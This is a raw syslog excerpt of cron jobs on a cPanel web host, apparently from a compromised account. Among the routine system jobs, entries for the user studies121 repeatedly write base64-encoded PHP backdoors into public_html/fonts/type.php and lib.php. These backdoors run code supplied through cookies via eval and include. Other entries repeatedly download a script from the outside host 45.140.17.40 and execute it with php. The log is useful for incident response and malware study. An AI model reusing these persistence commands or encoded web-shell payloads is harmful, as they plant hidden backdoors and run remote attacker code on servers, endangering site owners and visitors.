Sep 22 06:15:01 ip-184-168-122-23 CROND[1952]: (root) CMD (/usr/local/cpanel/bin/dbindex >/dev/null 2>&1)
Sep 22 06:15:01 ip-184-168-122-23 CROND[1953]: (root) CMD (/usr/local/cpanel/scripts/autorepair recoverymgmt >/dev/null 2>&1)
Sep 22 06:15:01 ip-184-168-122-23 CROND[1954]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:16:01 ip-184-168-122-23 CROND[2115]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:16:01 ip-184-168-122-23 CROND[2117]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:16:01 ip-184-168-122-23 CROND[2119]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:16:01 ip-184-168-122-23 CROND[2122]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep 22 06:16:01 ip-184-168-122-23 CROND[2121]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:16:01 ip-184-168-122-23 CROND[2125]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:17:01 ip-184-168-122-23 CROND[2250]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:17:01 ip-184-168-122-23 CROND[2252]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:17:01 ip-184-168-122-23 CROND[2253]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:17:01 ip-184-168-122-23 CROND[2255]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:18:01 ip-184-168-122-23 CROND[2435]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:18:01 ip-184-168-122-23 CROND[2438]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:18:01 ip-184-168-122-23 CROND[2439]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:18:01 ip-184-168-122-23 CROND[2441]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:18:01 ip-184-168-122-23 CROND[2442]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:19:01 ip-184-168-122-23 CROND[2547]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:19:01 ip-184-168-122-23 CROND[2548]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:19:01 ip-184-168-122-23 CROND[2550]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:19:01 ip-184-168-122-23 CROND[2553]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2680]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2683]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2685]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2682]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:20:01 ip-184-168-122-23 CROND[2686]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2684]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:20:01 ip-184-168-122-23 CROND[2687]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2688]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:20:01 ip-184-168-122-23 CROND[2690]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep 22 06:21:01 ip-184-168-122-23 CROND[2898]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:21:01 ip-184-168-122-23 CROND[2900]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:21:01 ip-184-168-122-23 CROND[2901]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:21:01 ip-184-168-122-23 CROND[2902]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:22:01 ip-184-168-122-23 CROND[3032]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:22:01 ip-184-168-122-23 CROND[3034]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:22:01 ip-184-168-122-23 CROND[3033]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:22:01 ip-184-168-122-23 CROND[3035]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:22:01 ip-184-168-122-23 CROND[3036]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:23:01 ip-184-168-122-23 CROND[3187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:23:01 ip-184-168-122-23 CROND[3189]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:23:01 ip-184-168-122-23 CROND[3188]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:23:01 ip-184-168-122-23 CROND[3193]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:24:01 ip-184-168-122-23 CROND[3323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:24:01 ip-184-168-122-23 CROND[3325]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:24:01 ip-184-168-122-23 CROND[3328]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:24:01 ip-184-168-122-23 CROND[3326]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:24:01 ip-184-168-122-23 CROND[3327]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:25:01 ip-184-168-122-23 CROND[3444]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:25:01 ip-184-168-122-23 CROND[3447]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep 22 06:25:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:25:01 ip-184-168-122-23 CROND[3452]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:25:01 ip-184-168-122-23 CROND[3453]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:25:01 ip-184-168-122-23 CROND[3450]: (root) CMD (/usr/local/cpanel/bin/mysqluserstore >/dev/null 2>&1)
Sep 22 06:25:01 ip-184-168-122-23 CROND[3454]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep 22 06:26:02 ip-184-168-122-23 CROND[3575]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep 22 06:26:02 ip-184-168-122-23 CROND[3576]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:26:02 ip-184-168-122-23 CROND[3579]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:26:02 ip-184-168-122-23 CROND[3582]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:26:02 ip-184-168-122-23 CROND[3581]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:27:01 ip-184-168-122-23 CROND[3698]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep 22 06:27:01 ip-184-168-122-23 CROND[3699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep 22 06:27:01 ip-184-168-122-23 CROND[3700]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep 22 06:27:01 ip-184-168-122-23 CROND[3701]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep 22 06:28:01 ip-184-168-122-23 CROND[3942]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
